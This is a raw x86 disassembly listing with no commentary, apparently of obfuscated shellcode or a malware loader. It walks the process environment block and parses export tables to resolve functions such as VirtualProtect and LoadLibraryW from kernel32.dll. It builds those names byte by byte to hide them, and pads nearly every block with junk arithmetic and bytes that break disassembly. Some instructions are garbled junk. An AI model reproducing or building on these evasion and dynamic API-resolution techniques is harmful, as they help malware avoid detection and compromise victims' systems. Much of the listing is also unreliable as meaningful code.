jmp 0x43e025
push eax
xor eax, 0x4cca
sub eax, 0x16041
sub eax, 0x16d3d
pop eax
push esi
push esi
add esp, 4
and esi, 0xfcf9
add esi, 0x148fb
xor esi, 0x5301
or esi, 0x546a
pop esi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x18b8], eax
mov ecx, dword [ebp - 0x18b8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18bc], edx
mov eax, dword [ebp - 0x18bc]
mov dword [ebp - 0x14f4], eax
push edi
xor edi, 0x109f3
or edi, 0xda1d
pop edi
push edx
push edx
add esp, 4
add edx, 0x6de8
pop edx
push edx
push ebx
add esp, 4
and edx, 0x745
or edx, 0x13611
sub edx, 0xf104
pop edx
cmp dword [ebp - 0x14f4], 0
jne 0x43d9de
mov dword [ebp - 0x2e0], 0
jmp 0x43dc85
mov ecx, dword [ebp - 0x14f4]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc3c], eax
push ecx
add ecx, 0xdb54
and ecx, 0x115a
pop ecx
push edx
push ecx
add esp, 4
call 0x43da12
add byte [ebx + ecx*2 + 0x4f], al
xor ecx, dword [edx + 0x33]
dec eax
xor esi, dword [edx]
add esp, 4
sub edx, 0x793f
or edx, 0x1342d
pop edx
cmp dword [ebp - 0xc3c], 0
jne 0x43da3a
mov dword [ebp - 0x2e0], 0
jmp 0x43dc85
mov ecx, dword [ebp - 0xc3c]
mov dword [ebp - 0x4dc], ecx
push ebx
push eax
add esp, 4
or ebx, 0x10042
call 0x43da60
add byte [ebx], dh
cmp al, 0x32
dec eax
cmp eax, 0x83464c35
les eax, [ebx + ebx*2]
push eax
or eax, 0x6091
and eax, 0xd9c1
add eax, 0xc2a3
pop eax
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc38], edx
mov eax, dword [ebp - 0x4dc]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc34], ecx
xor edx, edx
mov word [ebp - 0x200], dx
xor eax, eax
mov word [ebp - 0x34], ax
push ecx
push ebx
add esp, 4
xor ecx, 0x1347d
pop ecx
push edi
push esi
add esp, 4
or edi, 0x1324e
pop edi
push esi
sub esi, 0x143
call 0x43dad0
add byte [eax + 0x47], cl
xor eax, 0x3a324f4e
dec eax
dec edi
add esp, 4
pop esi
mov ecx, dword [ebp - 0xc34]
mov dx, word [ecx]
mov word [ebp - 0xf86], dx
mov eax, dword [ebp - 0xc34]
add eax, 2
mov dword [ebp - 0xc34], eax
mov cx, word [ebp - 0xf86]
mov word [ebp - 0x200], cx
mov edx, dword [ebp - 0xc38]
mov ax, word [edx]
mov word [ebp - 0xf88], ax
mov ecx, dword [ebp - 0xc38]
add ecx, 2
mov dword [ebp - 0xc38], ecx
mov dx, word [ebp - 0xf88]
mov word [ebp - 0x34], dx
push eax
add eax, 0x10b8a
add eax, 0x837
and eax, 0x8c0
pop eax
push edi
push edx
add esp, 4
sub edi, 0xd895
pop edi
push edx
push esi
add esp, 4
or edx, 0x2a50
add edx, 0x141dd
pop edx
movzx eax, word [ebp - 0x34]
test eax, eax
jne 0x43db7a
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
sub ecx, edx
mov dword [ebp - 0x14fc], ecx
jmp 0x43dbd4
movzx eax, word [ebp - 0x200]
movzx ecx, word [ebp - 0x34]
cmp eax, ecx
je 0x43daa2
movzx edx, word [ebp - 0x200]
xor edx, 0x20
movzx eax, word [ebp - 0x34]
cmp edx, eax
je 0x43daa2
movzx ecx, word [ebp - 0x200]
movzx edx, word [ebp - 0x34]
cmp ecx, edx
jge 0x43dbbe
mov dword [ebp - 0x14f8], 0xffffffff
jmp 0x43dbc8
mov dword [ebp - 0x14f8], 1
mov eax, dword [ebp - 0x14f8]
mov dword [ebp - 0x14fc], eax
cmp dword [ebp - 0x14fc], 0
jne 0x43dc1d
push edi
or edi, 0xbb6c
add edi, 0x13f4b
sub edi, 0x15000
pop edi
push ecx
call 0x43dbff
add byte [edi], bh
dec esi
cmp dword [edx + 0x45], eax
inc eax
dec esp
add esp, 4
or ecx, 0x1417f
and ecx, 0x1a04
pop ecx
mov ecx, dword [ebp - 0x4dc]
mov dword [ebp - 0x2e0], ecx
jmp 0x43dc85
push eax
push edx
add esp, 4
add eax, 0x115d5
pop eax
push edi
and edi, 0x17ba6
and edi, 0xb2f4
xor edi, 0x152c6
pop edi
push esi
push ecx
add esp, 4
sub esi, 0x67ed
xor esi, 0x10473
pop esi
mov edx, dword [ebp - 0x4dc]
mov eax, dword [edx]
mov dword [ebp - 0x4dc], eax
mov ecx, dword [ebp - 0x4dc]
cmp ecx, dword [ebp - 0xc3c]
je 0x43dc7b
mov edx, dword [ebp - 0x4dc]
cmp dword [edx + 0x30], 0
jne 0x43da46
mov dword [ebp - 0x2e0], 0
push edx
push esi
add esp, 4
add edx, 0x1854
pop edx
push ebx
jmp 0x43dc97
call 0x43dca7
add byte [ebx], dh
cmp eax, 0x48343645
dec esp
dec esi
dec ecx
add esp, 4
or ebx, 0x548c
xor ebx, 0x66dd
pop ebx
mov eax, dword [ebp - 0x2e0]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2fc], ecx
push ecx
or ecx, 0x5809
xor ecx, 0x4c0c
and ecx, 0x16a0b
pop ecx
push ecx
push eax
add esp, 4
xor ecx, 0x4568
pop ecx
push eax
push edi
add esp, 4
and eax, 0x128f7
xor eax, 0x4e0d
pop eax
mov dword [ebp - 0x70c], 0
mov edx, dword [ebp - 0x2fc]
mov dword [ebp - 0x1500], edx
cmp dword [ebp - 0x1500], 0
jne 0x43dd28
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x43e019
mov ecx, dword [ebp - 0x1500]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x1504], edx
jne 0x43dd50
mov eax, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], eax
jmp 0x43e019
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x1504]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x1508], ecx
cmp dword [ebp - 0x1508], 0
jne 0x43dd82
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
jmp 0x43e019
mov eax, dword [ebp - 0x2fc]
add eax, dword [ebp - 0x1508]
mov dword [ebp - 0x700], eax
jne 0x43dda7
mov ecx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], ecx
jmp 0x43e019
mov edx, dword [ebp - 0x700]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18c0], eax
mov ecx, dword [ebp - 0x700]
mov edx, dword [ebp - 0x2fc]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18c4], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18c8], ecx
mov dword [ebp - 0x704], 0
jmp 0x43de01
mov edx, dword [ebp - 0x704]
add edx, 1
mov dword [ebp - 0x704], edx
mov eax, dword [ebp - 0x700]
mov ecx, dword [ebp - 0x704]
cmp ecx, dword [eax + 0x18]
jae 0x43e00d
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c0]
mov ecx, dword [ebp - 0x2fc]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x708], ecx
mov edx, dword [ebp - 0x704]
mov eax, dword [ebp - 0x18c4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18c8]
mov eax, dword [ebp - 0x2fc]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18cc], eax
mov dword [ebp - 0x184], 0
jmp 0x43de71
mov ecx, dword [ebp - 0x184]
add ecx, 1
mov dword [ebp - 0x184], ecx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
test eax, eax
je 0x43df23
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
test edx, edx
je 0x43df23
push edx
push ebx
add esp, 4
sub edx, 0x3c22
xor edx, 0x6264
jmp 0x43deb5
pop edx
push esi
push edi
add esp, 4
add esi, 0xefc7
add esi, 0xa7e3
pop esi
push ebx
or ebx, 0x45a4
pop ebx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
cmp ecx, eax
je 0x43df15
mov ecx, dword [ebp - 0x708]
add ecx, dword [ebp - 0x184]
movsx edx, byte [ecx]
xor edx, 0x20
mov eax, dword [ebp - 0x184]
movsx ecx, byte [ebp + eax - 0x804]
cmp edx, ecx
jne 0x43df1c
jmp 0x43de62
jmp 0x43df23
push edx
push edi
add esp, 4
call 0x43df35
add byte [eax], bh
xor al, 0x45
dec edi
xor dh, byte [0x4c48339]
xor edx, 0x16737
or edx, 0x12583
call 0x43df51
add byte [esi], dh
inc ecx
cmp edx, dword [eax + 0x42]
dec ebp
inc ebp
add esp, 4
pop edx
mov edx, dword [ebp - 0x708]
add edx, dword [ebp - 0x184]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x184]
movsx edx, byte [ebp + ecx - 0x804]
cmp eax, edx
jne 0x43df82
mov dword [ebp - 0xc40], 0
jmp 0x43dff1
push edx
add edx, 0x8739
jmp 0x43df8e
call 0x43df9c
add byte [ecx], bh
xor ecx, dword [ecx + 0x4d]
dec edi
dec ecx
inc edx
dec esi
add esp, 4
and edx, 0xcff4
pop edx
push edx
xor edx, 0xa3ce
add edx, 0x1a8b
pop edx
mov eax, dword [ebp - 0x708]
add eax, dword [ebp - 0x184]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x184]
movsx eax, byte [ebp + edx - 0x804]
or eax, 0x20
cmp ecx, eax
jge 0x43dfe7
mov dword [ebp - 0xc40], 0xffffffff
jmp 0x43dff1
mov dword [ebp - 0xc40], 1
cmp dword [ebp - 0xc40], 0
jne 0x43e008
mov ecx, dword [ebp - 0x18cc]
mov dword [ebp - 0x4e0], ecx
jmp 0x43e019
jmp 0x43ddf2
mov edx, dword [ebp - 0x70c]
mov dword [ebp - 0x4e0], edx
mov eax, dword [ebp - 0x4e0]
mov dword [ebp - 0x738], eax
push edi
sub edi, 0x76b
add edi, 0x17310
add edi, 0x1847a
add edi, 0x1618b
pop edi
push ebx
push esi
add esp, 4
add ebx, 0x2937
and ebx, 0x17e6b
and ebx, 0x16cf1
pop ebx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push edi
and edi, 0x11328
xor edi, 0x14998
xor edi, 0x10102
pop edi
push ecx
push edi
add esp, 4
and ecx, 0xb6c0
or ecx, 0x13ece
add ecx, 0xa37d
and ecx, 0x143ec
pop ecx
cmp dword [ebp - 0x3cc], 0
je 0x43e0aa
cmp dword [ebp - 0xa5c], 0
jne 0x43e0f0
push edx
and edx, 0x16fee
or edx, 0x1394f
and edx, 0x1060b
pop edx
push edx
push ecx
add esp, 4
xor edx, 0xd426
and edx, 0x7ebd
add edx, 0x2f3
add edx, 0x1c45
pop edx
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push edi
push eax
add esp, 4
xor edi, 0x981d
sub edi, 0x9c33
and edi, 0x17ef0
xor edi, 0xdb7b
pop edi
push eax
push esi
add esp, 4
jmp 0x43e125
or eax, 0xb484
pop eax
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push esi
xor esi, 0x5048
add esi, 0x950f
pop esi
push eax
and eax, 0xa3e2
add eax, 0x13aba
pop eax
push edx
and edx, 0x6e84
pop edx
push ecx
and ecx, 0x10347
xor ecx, 0x5af4
pop ecx
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push eax
add eax, 0x185cf
xor eax, 0x1147a
add eax, 0x6165
xor eax, 0x1860b
pop eax
push eax
push edx
add esp, 4
sub eax, 0x9ceb
xor eax, 0x17037
sub eax, 0x79c9
pop eax
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push eax
push edi
add esp, 4
add eax, 0x2e6f
pop eax
push ebx
and ebx, 0x13a89
pop ebx
push edi
sub edi, 0x3048
pop edi
push ebx
push eax
add esp, 4
call 0x43e279
add byte [edi + 0x3b], cl
inc ebx
xor cl, byte [ebp + 0x43]
dec edi
add esp, 4
pop ebx
cmp dword [ebp - 0x150c], 0
jne 0x43e295
mov dword [ebp - 0x2a8], 0
jmp 0x43e53c
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push eax
xor eax, 0x157a7
pop eax
push esi
xor esi, 0x9848
jmp 0x43e2be
pop esi
push edx
add edx, 0x8ff5
pop edx
push ecx
push ebx
add esp, 4
add ecx, 0xe820
or ecx, 0x148a4
pop ecx
cmp dword [ebp - 0xc4c], 0
jne 0x43e2f1
mov dword [ebp - 0x2a8], 0
jmp 0x43e53c
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push ebx
push edi
add esp, 4
or ebx, 0xf28c
jmp 0x43e30e
pop ebx
push edi
jmp 0x43e316
add edi, 0xede5
sub edi, 0xbd1f
pop edi
push esi
push ecx
add esp, 4
sub esi, 0xa040
pop esi
lea edx, [ebp - 0x1628]
mov dword [ebp - 0xc48], edx
mov eax, dword [ebp - 0x4e4]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc44], ecx
xor edx, edx
mov word [ebp - 0x204], dx
xor eax, eax
mov word [ebp - 0x38], ax
push ecx
push edi
add esp, 4
or ecx, 0xbe58
or ecx, 0x15de9
or ecx, 0xfd1c
add ecx, 0x1f9b
pop ecx
push ecx
push esi
add esp, 4
or ecx, 0x1362e
pop ecx
push ecx
add ecx, 0x9e6c
pop ecx
mov ecx, dword [ebp - 0xc44]
mov dx, word [ecx]
mov word [ebp - 0xf8a], dx
mov eax, dword [ebp - 0xc44]
add eax, 2
mov dword [ebp - 0xc44], eax
mov cx, word [ebp - 0xf8a]
mov word [ebp - 0x204], cx
mov edx, dword [ebp - 0xc48]
mov ax, word [edx]
mov word [ebp - 0xf8c], ax
mov ecx, dword [ebp - 0xc48]
add ecx, 2
mov dword [ebp - 0xc48], ecx
mov dx, word [ebp - 0xf8c]
mov word [ebp - 0x38], dx
push edx
push eax
add esp, 4
or edx, 0x10f1
add edx, 0x16ffa
sub edx, 0xea21
pop edx
push edi
push ecx
add esp, 4
or edi, 0x7ca9
pop edi
push ecx
sub ecx, 0x5679
and ecx, 0x7620
pop ecx
movzx eax, word [ebp - 0x38]
test eax, eax
jne 0x43e431
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
sub ecx, edx
mov dword [ebp - 0x1514], ecx
jmp 0x43e48b
movzx eax, word [ebp - 0x204]
movzx ecx, word [ebp - 0x38]
cmp eax, ecx
je 0x43e359
movzx edx, word [ebp - 0x204]
xor edx, 0x20
movzx eax, word [ebp - 0x38]
cmp edx, eax
je 0x43e359
movzx ecx, word [ebp - 0x204]
movzx edx, word [ebp - 0x38]
cmp ecx, edx
jge 0x43e475
mov dword [ebp - 0x1510], 0xffffffff
jmp 0x43e47f
mov dword [ebp - 0x1510], 1
mov eax, dword [ebp - 0x1510]
mov dword [ebp - 0x1514], eax
cmp dword [ebp - 0x1514], 0
jne 0x43e4d4
push esi
push edi
add esp, 4
and esi, 0x10cfb
sub esi, 0x1350
and esi, 0x15b2d
pop esi
push eax
add eax, 0x12acb
add eax, 0xd25e
or eax, 0xc059
or eax, 0x8d11
pop eax
mov ecx, dword [ebp - 0x4e4]
mov dword [ebp - 0x2a8], ecx
jmp 0x43e53c
push edi
push eax
add esp, 4
and edi, 0x9f73
pop edi
push ebx
xor ebx, 0xc1f6
pop ebx
push edx
push esi
add esp, 4
and edx, 0xfe4f
add edx, 0xcab2
pop edx
push ecx
push edi
add esp, 4
sub ecx, 0x16762
pop ecx
mov edx, dword [ebp - 0x4e4]
mov eax, dword [edx]
mov dword [ebp - 0x4e4], eax
mov ecx, dword [ebp - 0x4e4]
cmp ecx, dword [ebp - 0xc4c]
je 0x43e532
mov edx, dword [ebp - 0x4e4]
cmp dword [edx + 0x30], 0
jne 0x43e2fd
mov dword [ebp - 0x2a8], 0
push ecx
push esi
add esp, 4
xor ecx, 0xef1d
pop ecx
push esi
push edi
add esp, 4
call 0x43e559
add byte [edx + 0x47], al
cmp dh, byte [edi + edi]
add esp, 4
and esi, 0x2dd2
jmp 0x43e567
or esi, 0x169e2
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x43ee73
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push esi
add esi, 0x1eb4
add esi, 0x2c70
pop esi
push eax
push edi
add esp, 4
xor eax, 0x1f99
xor eax, 0x7a19
pop eax
push eax
push esi
add esp, 4
and eax, 0x170ca
xor eax, 0x135d
pop eax
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push esi
xor esi, 0xf1ef
call 0x43e6de
add byte [0x44493746], bh
inc eax
inc ebp
add esp, 4
sub esi, 0x5d01
pop esi
push esi
push edx
add esp, 4
and esi, 0x14c89
jmp 0x43e6fa
pop esi
cmp dword [ebp - 0x1518], 0
jne 0x43e713
mov dword [ebp - 0x710], 0
jmp 0x43e9ba
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edx
push edx
add esp, 4
or edx, 0xd04b
pop edx
push esi
xor esi, 0x10302
jmp 0x43e741
xor esi, 0x2c99
pop esi
push ebx
sub ebx, 0x99a8
jmp 0x43e756
pop ebx
cmp dword [ebp - 0xc58], 0
jne 0x43e76f
mov dword [ebp - 0x710], 0
jmp 0x43e9ba
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push edi
add esp, 4
jmp 0x43e786
pop esi
push esi
push ebx
add esp, 4
sub esi, 0x241d
xor esi, 0xe8d5
pop esi
push ebx
call 0x43e7a9
add byte [0x45353e35], dh
xor bh, byte [edi]
dec ebx
inc ebp
add esp, 4
pop ebx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
sub edx, 0x8e2b
or edx, 0x4a0e
pop edx
push edx
push esi
add esp, 4
add edx, 0x7f34
pop edx
push ecx
xor ecx, 0x5b76
call 0x43e805
add byte [edx], bh
dec esi
dec edi
cmp al, byte ss:[ebx - 0x74a6fb3c]
xchg ebp, eax
mov al, 0xf3
invalid
push eax
xor eax, 0x8b16
pop eax
push eax
push edi
add esp, 4
call 0x43e9d4
add byte [edi], bh
cmp bh, byte [ecx]
cmp dword [ebx + 0x3b], ecx
add esp, 4
pop eax
push eax
add eax, 0x834
and eax, 0xdb48
sub eax, 0xa6c7
pop eax
cmp dword [ebp - 0x710], 0
jne 0x43ea36
push edx
push esi
add esp, 4
jmp 0x43ea01
add edx, 0xbc88
add edx, 0x7a23
pop edx
push ecx
add ecx, 0x3c30
jmp 0x43ea1a
pop ecx
push esi
push edx
add esp, 4
xor esi, 0x7bd3
pop esi
mov dword [ebp - 0xa58], 0
jmp 0x43f55e
push edx
jmp 0x43ea3d
and edx, 0xec0f
sub edx, 0x17e0e
jmp 0x43ea4e
pop edx
push ebx
sub ebx, 0x52dc
call 0x43ea64
add byte [ecx + 0x47], cl
cmp esi, dword [edx]
inc ecx
dec ebx
dec edi
inc edi
add esp, 4
pop ebx
mov ecx, dword [ebp - 0x710]
mov edx, dword [ecx + 0x18]
mov dword [ebp - 0x300], edx
mov dword [ebp - 0x720], 0
mov eax, dword [ebp - 0x300]
mov dword [ebp - 0x1564], eax
cmp dword [ebp - 0x1564], 0
jne 0x43eaa7
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x43ed98
mov edx, dword [ebp - 0x1564]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x3c]
mov dword [ebp - 0x1568], eax
jne 0x43eacf
mov ecx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], ecx
jmp 0x43ed98
mov edx, 8
imul eax, edx, 0
mov ecx, dword [ebp - 0x1568]
mov edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x1570], edx
cmp dword [ebp - 0x1570], 0
jne 0x43eb01
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
jmp 0x43ed98
mov ecx, dword [ebp - 0x300]
add ecx, dword [ebp - 0x1570]
mov dword [ebp - 0x714], ecx
jne 0x43eb26
mov edx, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], edx
jmp 0x43ed98
mov eax, dword [ebp - 0x714]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + 0x20]
mov dword [ebp - 0x18e0], ecx
mov edx, dword [ebp - 0x714]
mov eax, dword [ebp - 0x300]
add eax, dword [edx + 0x24]
mov dword [ebp - 0x18e4], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + 0x1c]
mov dword [ebp - 0x18e8], edx
mov dword [ebp - 0x718], 0
jmp 0x43eb80
mov eax, dword [ebp - 0x718]
add eax, 1
mov dword [ebp - 0x718], eax
mov ecx, dword [ebp - 0x714]
mov edx, dword [ebp - 0x718]
cmp edx, dword [ecx + 0x18]
jae 0x43ed8c
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e0]
mov edx, dword [ebp - 0x300]
add edx, dword [ecx + eax*4]
mov dword [ebp - 0x71c], edx
mov eax, dword [ebp - 0x718]
mov ecx, dword [ebp - 0x18e4]
movzx edx, word [ecx + eax*2]
mov eax, dword [ebp - 0x18e8]
mov ecx, dword [ebp - 0x300]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x18ec], ecx
mov dword [ebp - 0x188], 0
jmp 0x43ebf0
mov edx, dword [ebp - 0x188]
add edx, 1
mov dword [ebp - 0x188], edx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
test ecx, ecx
je 0x43eca2
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
test eax, eax
je 0x43eca2
push edx
push eax
add esp, 4
call 0x43ec30
add byte [ebp + 0x3e], al
aaa
cmp esi, dword [edx]
cmp bh, byte [edx]
xor eax, 0x5a04c483
push eax
push ebx
add esp, 4
xor eax, 0x9ef0
pop eax
push ecx
add ecx, 0x18224
jmp 0x43ec4e
pop ecx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
cmp edx, ecx
je 0x43ec94
mov edx, dword [ebp - 0x71c]
add edx, dword [ebp - 0x188]
movsx eax, byte [edx]
xor eax, 0x20
mov ecx, dword [ebp - 0x188]
movsx edx, byte [ebp + ecx - 0x830]
cmp eax, edx
jne 0x43ec9b
jmp 0x43ebe1
jmp 0x43eca2
push edi
and edi, 0x9e6a
or edi, 0x25ed
pop edi
push esi
push esi
add esp, 4
xor esi, 0x9815
add esi, 0x5582
pop esi
push ecx
push edi
add esp, 4
sub ecx, 0xf87
sub ecx, 0xa0b8
pop ecx
mov eax, dword [ebp - 0x71c]
add eax, dword [ebp - 0x188]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x188]
movsx eax, byte [ebp + edx - 0x830]
cmp ecx, eax
jne 0x43ed01
mov dword [ebp - 0xc5c], 0
jmp 0x43ed70
push ecx
push esi
add esp, 4
jmp 0x43ed0d
sub ecx, 0x9eed
jmp 0x43ed1a
jmp 0x43ed20
pop ecx
push ebx
push edx
add esp, 4
xor ebx, 0xf1ce
sub ebx, 0x343
pop ebx
mov ecx, dword [ebp - 0x71c]
add ecx, dword [ebp - 0x188]
movsx edx, byte [ecx]
or edx, 0x20
mov eax, dword [ebp - 0x188]
movsx ecx, byte [ebp + eax - 0x830]
or ecx, 0x20
cmp edx, ecx
jge 0x43ed66
mov dword [ebp - 0xc5c], 0xffffffff
jmp 0x43ed70
mov dword [ebp - 0xc5c], 1
cmp dword [ebp - 0xc5c], 0
jne 0x43ed87
mov edx, dword [ebp - 0x18ec]
mov dword [ebp - 0x3c8], edx
jmp 0x43ed98
jmp 0x43eb71
mov eax, dword [ebp - 0x720]
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0
je 0x43ee73
push ecx
push ebx
add esp, 4
or ecx, 0xc078
sub ecx, 0x15116
xor ecx, 0xa0c
pop ecx
push esi
add esi, 0x15d79
and esi, 0x14792
pop esi
push edx
push edi
add esp, 4
add edx, 0x226c
pop edx
mov ecx, dword [ebp - 0x3c8]
mov dword [ebp - 0x18f0], ecx
push esi
push eax
add esp, 4
add esi, 0xa0fa
xor esi, 0x159c5
sub esi, 0x17f1e
pop esi
push eax
push ebx
add esp, 4
or eax, 0x924
pop eax
push esi
jmp 0x43ee0e
and esi, 0x18252
pop esi
mov edx, dword [ebp - 0x18f0]
mov dword [ebp - 0x18f4], edx
lea eax, [ebp - 0x1628]
push eax
call dword [ebp - 0x18f4]
test eax, eax
jne 0x43ee73
push ebx
push edi
add esp, 4
and ebx, 0x11620
pop ebx
push eax
push ecx
add esp, 4
add eax, 0x5500
pop eax
push ebx
sub ebx, 0x8862
xor ebx, 0x11ae0
pop ebx
push edx
push esi
add esp, 4
or edx, 0x1582a
pop edx
mov dword [ebp - 0xa58], 0
jmp 0x43f55e
push edx
add edx, 0xba07
or edx, 0x843a
add edx, 0x16dae
pop edx
push ecx
push esi
add esp, 4
jmp 0x43ee92
and ecx, 0x17752
sub ecx, 0x2ae2
xor ecx, 0xd87
pop ecx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push edx
xor edx, 0x159d5
and edx, 0x105fe
or edx, 0xe113
xor edx, 0xd3ae
pop edx
push eax
push ebx
add esp, 4
sub eax, 0x8c9b
and eax, 0x8a63
or eax, 0x13614
pop eax
cmp dword [ebp - 0x1574], 0
jne 0x43ef17
mov dword [ebp - 0x2a8], 0
jmp 0x43f1be
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push ebx
push eax
add esp, 4
and ebx, 0xc097
pop ebx
push esi
and esi, 0x12c5f
pop esi
push ecx
push edi
add esp, 4
or ecx, 0x117ca
jmp 0x43ef4e
or ecx, 0x17871
and ecx, 0x10f1c
pop ecx
cmp dword [ebp - 0xc68], 0
jne 0x43ef73
mov dword [ebp - 0x2a8], 0
jmp 0x43f1be
mov edx, dword [ebp - 0xc68]
mov dword [ebp - 0x4ec], edx
push edi
or edi, 0xf27b
add edi, 0x139d7
and edi, 0x15ede
sub edi, 0x8c48
pop edi
push edi
push ebx
add esp, 4
add edi, 0x759a
xor edi, 0x87b8
